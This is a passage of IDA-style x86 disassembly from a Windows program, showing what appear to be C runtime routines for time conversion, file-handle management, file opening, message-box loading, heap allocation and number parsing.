; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C3BC+A1j
		mov	ecx, dword_438244[eax*4]


loc_41C46F:				; CODE XREF: sub_41C3BC+AAj
		add	ecx, [ebp+arg_18]


loc_41C472:				; CODE XREF: sub_41C3BC+7Cj
					; sub_41C3BC+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41C4A3
		mov	eax, [ebp+arg_1C]
		mov	dword_4381FC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4381F8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_438200, eax
		jmp	short loc_41C4F8
; ---------------------------------------------------------------------------


loc_41C4A3:				; CODE XREF: sub_41C3BC+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43820C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_438168
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_438210, eax
		jns	short loc_41C4DB
		add	eax, 5265C00h
		dec	ecx
		mov	dword_438210, eax
		jmp	short loc_41C4EC
; ---------------------------------------------------------------------------


loc_41C4DB:				; CODE XREF: sub_41C3BC+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41C4F2
		sub	eax, edx
		inc	ecx
		mov	dword_438210, eax


loc_41C4EC:				; CODE XREF: sub_41C3BC+11Dj
		mov	dword_43820C, ecx


loc_41C4F2:				; CODE XREF: sub_41C3BC+126j
		mov	dword_438208, ebx


loc_41C4F8:				; CODE XREF: sub_41C3BC+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C3BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4FC	proc near		; CODE XREF: sub_41C716:loc_41C88Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_743540


loc_41C50B:				; CODE XREF: sub_41C4FC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41C548
		lea	edx, [eax+100h]


loc_41C517:				; CODE XREF: sub_41C4FC+28j
		cmp	eax, edx
		jnb	short loc_41C537
		test	byte ptr [eax+4], 1
		jz	short loc_41C526
		add	eax, 8
		jmp	short loc_41C517
; ---------------------------------------------------------------------------


loc_41C526:				; CODE XREF: sub_41C4FC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41C58B


loc_41C537:				; CODE XREF: sub_41C4FC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_743640
		jl	short loc_41C50B
		jmp	short loc_41C58B
; ---------------------------------------------------------------------------


loc_41C548:				; CODE XREF: sub_41C4FC+13j
		mov	esi, 100h
		push	esi
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		jz	short loc_41C58B
		add	dword_743640, 20h
		lea	ecx, ds:743540h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41C56E:				; CODE XREF: sub_41C4FC+88j
		cmp	eax, edx
		jnb	short loc_41C586
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41C56E
; ---------------------------------------------------------------------------


loc_41C586:				; CODE XREF: sub_41C4FC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41C58B:				; CODE XREF: sub_41C4FC+39j
					; sub_41C4FC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41C4FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C591	proc near		; CODE XREF: sub_41C716+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_743640
		push	edi
		jnb	short loc_41C5F1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:743540h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41C5F1
		cmp	dword_4377A4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41C5E7
		sub	eax, 0
		jz	short loc_41C5DE
		dec	eax
		jz	short loc_41C5D9
		dec	eax
		jnz	short loc_41C5E7
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41C5E1
; ---------------------------------------------------------------------------


loc_41C5D9:				; CODE XREF: sub_41C591+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41C5E1
; ---------------------------------------------------------------------------


loc_41C5DE:				; CODE XREF: sub_41C591+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41C5E1:				; CODE XREF: sub_41C591+46j
					; sub_41C591+4Bj
		call	ds:off_41F018


loc_41C5E7:				; CODE XREF: sub_41C591+36j
					; sub_41C591+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41C605
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41C591+Cj
					; sub_41C591+28j
		and	dword_742230, 0
		mov	dword_74222C, 9
		or	eax, 0FFFFFFFFh


loc_41C605:				; CODE XREF: sub_41C591+5Ej
		pop	edi
		pop	esi
		retn
sub_41C591	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C608	proc near		; CODE XREF: sub_419730+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_743640
		push	edi
		jnb	short loc_41C66B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:743540h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41C66B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41C66B
		cmp	dword_4377A4, 1
		jnz	short loc_41C661
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41C658
		dec	ecx
		jz	short loc_41C653
		dec	ecx
		jnz	short loc_41C661
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41C65B
; ---------------------------------------------------------------------------


loc_41C653:				; CODE XREF: sub_41C608+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41C65B
; ---------------------------------------------------------------------------


loc_41C658:				; CODE XREF: sub_41C608+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41C65B:				; CODE XREF: sub_41C608+49j
					; sub_41C608+4Ej
		call	ds:off_41F018


loc_41C661:				; CODE XREF: sub_41C608+38j
					; sub_41C608+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41C67F
; ---------------------------------------------------------------------------


loc_41C66B:				; CODE XREF: sub_41C608+Cj
					; sub_41C608+2Aj ...
		and	dword_742230, 0
		mov	dword_74222C, 9
		or	eax, 0FFFFFFFFh


loc_41C67F:				; CODE XREF: sub_41C608+61j
		pop	edi
		pop	esi
		retn
sub_41C608	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C682	proc near		; CODE XREF: sub_419730+32p
					; sub_419730+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_743640
		jnb	short loc_41C6AA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_743540[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41C6AA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41C6AA:				; CODE XREF: sub_41C682+Aj
					; sub_41C682+23j
		and	dword_742230, 0
		mov	dword_74222C, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41C682	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C6BF	proc near		; CODE XREF: sub_41980E+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_743640
		jnb	short loc_41C708
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_743540[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41C708
		push	eax
		call	sub_41C682
		pop	ecx
		push	eax
		call	ds:off_41F014
		test	eax, eax
		jnz	short loc_41C6FD
		call	ds:off_41F06C
		jmp	short loc_41C6FF
; ---------------------------------------------------------------------------


loc_41C6FD:				; CODE XREF: sub_41C6BF+34j
		xor	eax, eax


loc_41C6FF:				; CODE XREF: sub_41C6BF+3Cj
		test	eax, eax
		jz	short locret_41C715
		mov	dword_742230, eax


loc_41C708:				; CODE XREF: sub_41C6BF+Aj
					; sub_41C6BF+22j
		mov	dword_74222C, 9
		or	eax, 0FFFFFFFFh

locret_41C715:				; CODE XREF: sub_41C6BF+42j
		retn
sub_41C6BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C716	proc near		; CODE XREF: sub_419BEA+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41C73C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41C747
; ---------------------------------------------------------------------------


loc_41C73C:				; CODE XREF: sub_41C716+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41C747:				; CODE XREF: sub_41C716+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41C761
		test	ch, 40h
		jnz	short loc_41C75D
		cmp	dword_742510, eax
		jz	short loc_41C761


loc_41C75D:				; CODE XREF: sub_41C716+3Dj
		or	[ebp+var_1], 80h


loc_41C761:				; CODE XREF: sub_41C716+38j
					; sub_41C716+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41C799
		dec	eax
		jz	short loc_41C790
		dec	eax
		jz	short loc_41C787


loc_41C772:				; CODE XREF: sub_41C716+9Fj
					; sub_41C716+E8j ...
		mov	dword_74222C, 16h
		mov	dword_742230, ebx
		jmp	loc_41C9AC
; ---------------------------------------------------------------------------


loc_41C787:				; CODE XREF: sub_41C716+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C790:				; CODE XREF: sub_41C716+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C799:				; CODE XREF: sub_41C716+54j
		mov	[ebp+var_C], 80000000h


loc_41C7A0:				; CODE XREF: sub_41C716+78j
					; sub_41C716+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41C7CE
		cmp	eax, 20h
		jz	short loc_41C7C5
		cmp	eax, 30h
		jz	short loc_41C7BC
		cmp	eax, 40h
		jnz	short loc_41C772
		mov	[ebp+var_10], esi
		jmp	short loc_41C7D1
; ---------------------------------------------------------------------------


loc_41C7BC:				; CODE XREF: sub_41C716+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41C7D1
; ---------------------------------------------------------------------------


loc_41C7C5:				; CODE XREF: sub_41C716+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41C7D1
; ---------------------------------------------------------------------------


loc_41C7CE:				; CODE XREF: sub_41C716+90j
		mov	[ebp+var_10], ebx


loc_41C7D1:				; CODE XREF: sub_41C716+A4j
					; sub_41C716+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41C81B
		jz	short loc_41C816
		cmp	ecx, ebx
		jz	short loc_41C816
		cmp	ecx, edi
		jz	short loc_41C80D
		cmp	ecx, 200h
		jz	short loc_41C834
		cmp	ecx, 300h
		jnz	loc_41C772
		mov	[ebp+var_8], 2
		jmp	short loc_41C844
; ---------------------------------------------------------------------------


loc_41C80D:				; CODE XREF: sub_41C716+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41C844
; ---------------------------------------------------------------------------


loc_41C816:				; CODE XREF: sub_41C716+D0j
					; sub_41C716+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41C844
; ---------------------------------------------------------------------------


loc_41C81B:				; CODE XREF: sub_41C716+CEj
		cmp	ecx, 500h
		jz	short loc_41C83D
		cmp	ecx, 600h
		jz	short loc_41C834
		cmp	ecx, edx
		jz	short loc_41C83D
		jmp	loc_41C772
; ---------------------------------------------------------------------------


loc_41C834:				; CODE XREF: sub_41C716+E0j
					; sub_41C716+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41C844
; ---------------------------------------------------------------------------


loc_41C83D:				; CODE XREF: sub_41C716+10Bj
					; sub_41C716+117j
		mov	[ebp+var_8], 1


loc_41C844:				; CODE XREF: sub_41C716+F5j
					; sub_41C716+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41C863
		mov	ecx, dword_742234
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41C863
		push	1
		pop	esi


loc_41C863:				; CODE XREF: sub_41C716+138j
					; sub_41C716+148j
		test	al, 40h
		jz	short loc_41C871
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41C871:				; CODE XREF: sub_41C716+14Fj
		test	ah, 10h
		jz	short loc_41C878
		or	esi, edi


loc_41C878:				; CODE XREF: sub_41C716+15Ej
		test	al, 20h
		jz	short loc_41C884
		or	esi, 8000000h
		jmp	short loc_41C88E
; ---------------------------------------------------------------------------


loc_41C884:				; CODE XREF: sub_41C716+164j
		test	al, 10h
		jz	short loc_41C88E
		or	esi, 10000000h


loc_41C88E:				; CODE XREF: sub_41C716+16Cj
					; sub_41C716+170j
		call	sub_41C4FC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41C8AF
		and	dword_742230, 0
		mov	dword_74222C, 18h
		jmp	short loc_41C8ED
; ---------------------------------------------------------------------------


loc_41C8AF:				; CODE XREF: sub_41C716+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_41F05C	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41C8E0
		push	esi
		call	ds:dword_41F030	; GetFileType
		test	eax, eax
		jnz	short loc_41C8F4
		push	esi
		call	ds:dword_41F058	; CloseHandle


loc_41C8E0:				; CODE XREF: sub_41C716+1B6j
		call	ds:off_41F06C
		push	eax
		call	sub_41A82A
		pop	ecx


loc_41C8ED:				; CODE XREF: sub_41C716+197j
		mov	eax, edi
		jmp	loc_41C9CA
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C716+1C1j
		cmp	eax, 2
		jnz	short loc_41C8FF
		or	[ebp+var_1], 40h
		jmp	short loc_41C908
; ---------------------------------------------------------------------------


loc_41C8FF:				; CODE XREF: sub_41C716+1E1j
		cmp	eax, 3
		jnz	short loc_41C908
		or	[ebp+var_1], 8


loc_41C908:				; CODE XREF: sub_41C716+1E7j
					; sub_41C716+1ECj
		push	esi
		push	ebx
		call	sub_41C591
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:743540h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41C9B1
		test	al, 80h
		jz	short loc_41C9B1
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41C9B1
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41C966
		cmp	dword_742230, 83h
		jz	short loc_41C9B1
		jmp	short loc_41C9A5
; ---------------------------------------------------------------------------


loc_41C966:				; CODE XREF: sub_41C716+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_4199F4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C993
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41C993
		push	[ebp+var_10]
		push	ebx
		call	sub_41D663
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41C9A5


loc_41C993:				; CODE XREF: sub_41C716+265j
					; sub_41C716+26Bj
		push	0
		push	0
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41C9B1


loc_41C9A5:				; CODE XREF: sub_41C716+24Ej
					; sub_41C716+27Bj
		push	ebx
		call	sub_419730
		pop	ecx


loc_41C9AC:				; CODE XREF: sub_41C716+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C9CA
; ---------------------------------------------------------------------------


loc_41C9B1:				; CODE XREF: sub_41C716+221j
					; sub_41C716+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41C9C8
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41C9C8
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41C9C8:				; CODE XREF: sub_41C716+29Fj
					; sub_41C716+2A5j
		mov	eax, ebx


loc_41C9CA:				; CODE XREF: sub_41C716+1D9j
					; sub_41C716+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C716	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9CF	proc near		; CODE XREF: sub_41AADF+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41C9E0
		add	esp, 0Ch
		retn
sub_41C9CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9E0	proc near		; CODE XREF: sub_41C9CF+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_743761[eax], cl
		jnz	short loc_41CA0D
		cmp	[esp+arg_4], 0
		jz	short loc_41CA06
		movzx	eax, word_4377BA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41CA08
; ---------------------------------------------------------------------------


loc_41CA06:				; CODE XREF: sub_41C9E0+16j
		xor	eax, eax


loc_41CA08:				; CODE XREF: sub_41C9E0+24j
		test	eax, eax
		jnz	short loc_41CA0D
		retn
; ---------------------------------------------------------------------------


loc_41CA0D:				; CODE XREF: sub_41C9E0+Fj
					; sub_41C9E0+2Aj
		push	1
		pop	eax
		retn
sub_41C9E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA11	proc near		; CODE XREF: sub_41B235+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_7424F0, ebx
		push	esi
		push	edi
		jnz	short loc_41CA60
		push	offset aUser32_dll ; "user32.dll"
		call	ds:off_41F0A8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41CA96
		mov	esi, ds:off_41F0AC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; sub_74AAC1
		test	eax, eax
		mov	dword_7424F0, eax
		jz	short loc_41CA96
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_7424F4, eax
		call	esi ; sub_74AAC1
		mov	dword_7424F8, eax


loc_41CA60:				; CODE XREF: sub_41CA11+Bj
		mov	eax, dword_7424F4
		test	eax, eax
		jz	short loc_41CA7F
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41CA7F
		mov	eax, dword_7424F8
		test	eax, eax
		jz	short loc_41CA7F
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_41CA7F:				; CODE XREF: sub_41CA11+56j
					; sub_41CA11+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_7424F0	; MessageBoxA


loc_41CA92:				; CODE XREF: sub_41CA11+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA96:				; CODE XREF: sub_41CA11+1Cj
					; sub_41CA11+33j
		xor	eax, eax
		jmp	short loc_41CA92
sub_41CA11	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA9A	proc near		; CODE XREF: sub_41B3F2+22p
					; sub_41B3F2+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41CABA
		test	esi, esi
		jnz	short loc_41CAB4
		push	1
		pop	esi


loc_41CAB4:				; CODE XREF: sub_41CA9A+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41CABA:				; CODE XREF: sub_41CA9A+11j
					; sub_41CA9A+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41CAEB
		cmp	ebx, dword_4379CC
		ja	short loc_41CAD6
		push	ebx
		call	sub_416CCF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41CB01


loc_41CAD6:				; CODE XREF: sub_41CA9A+2Dj
		push	esi
		push	8
		push	dword_743880
		call	ds:dword_41F144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41CB0D


loc_41CAEB:				; CODE XREF: sub_41CA9A+25j
		cmp	dword_742284, 0
		jz	short loc_41CB0D
		push	esi
		call	sub_4168E4
		test	eax, eax
		pop	ecx
		jz	short loc_41CB13
		jmp	short loc_41CABA
; ---------------------------------------------------------------------------


loc_41CB01:				; CODE XREF: sub_41CA9A+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_413890
		add	esp, 0Ch


loc_41CB0D:				; CODE XREF: sub_41CA9A+4Fj
					; sub_41CA9A+58j
		mov	eax, edi


loc_41CB0F:				; CODE XREF: sub_41CA9A+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CB13:				; CODE XREF: sub_41CA9A+63j
		xor	eax, eax
		jmp	short loc_41CB0F
sub_41CA9A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B497


loc_41CB17:				; CODE XREF: sub_41B497+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_743520, esi
		jle	short loc_41CB6A


loc_41CB26:				; CODE XREF: sub_41B497+16D1j
		mov	eax, dword_74251C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41CB61
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41CB45
		push	eax
		call	sub_414E31
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41CB45
		inc	edi


loc_41CB45:				; CODE XREF: sub_41B497+169Fj
					; sub_41B497+16ABj
		cmp	esi, 14h
		jl	short loc_41CB61
		mov	eax, dword_74251C
		push	dword ptr [eax+esi*4]
		call	sub_413F7F
		mov	eax, dword_74251C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41CB61:				; CODE XREF: sub_41B497+1699j
					; sub_41B497+16B1j
		inc	esi
		cmp	esi, dword_743520
		jl	short loc_41CB26


loc_41CB6A:				; CODE XREF: sub_41B497+168Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41B497

; =============== S U B	R O U T	I N E =======================================



sub_41CB6F	proc near		; CODE XREF: sub_41B80E+2Bp
					; sub_41B80E+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41CB85
		cmp	ecx, esi
		jnb	short loc_41CB88


loc_41CB85:				; CODE XREF: sub_41CB6F+10j
		push	1
		pop	eax


loc_41CB88:				; CODE XREF: sub_41CB6F+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41CB6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB90	proc near		; CODE XREF: sub_41CC49+40p
					; sub_41CC49+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41CB6F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41CBC2
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41CB6F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41CBC2
		inc	dword ptr [esi+8]


loc_41CBC2:				; CODE XREF: sub_41CB90+19j
					; sub_41CB90+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41CB6F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41CBDA
		inc	dword ptr [esi+8]


loc_41CBDA:				; CODE XREF: sub_41CB90+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41CB6F
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41CB90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEE	proc near		; CODE XREF: sub_41CC49+30p
					; sub_41CC49+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41CBEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1C	proc near		; CODE XREF: sub_41D1E1+1C8p
					; sub_41D7A9+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41CC1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC49	proc near		; CODE XREF: sub_41CD10+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41CCBD
		push	edi
		mov	[ebp+arg_8], eax


loc_41CC70:				; CODE XREF: sub_41CC49+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41CBEE
		push	ebx
		call	sub_41CBEE
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41CB90
		push	ebx
		call	sub_41CBEE
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41CB90
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41CC70
		xor	edx, edx
		pop	edi


loc_41CCBD:				; CODE XREF: sub_41CC49+21j
					; sub_41CC49+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41CCEA
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
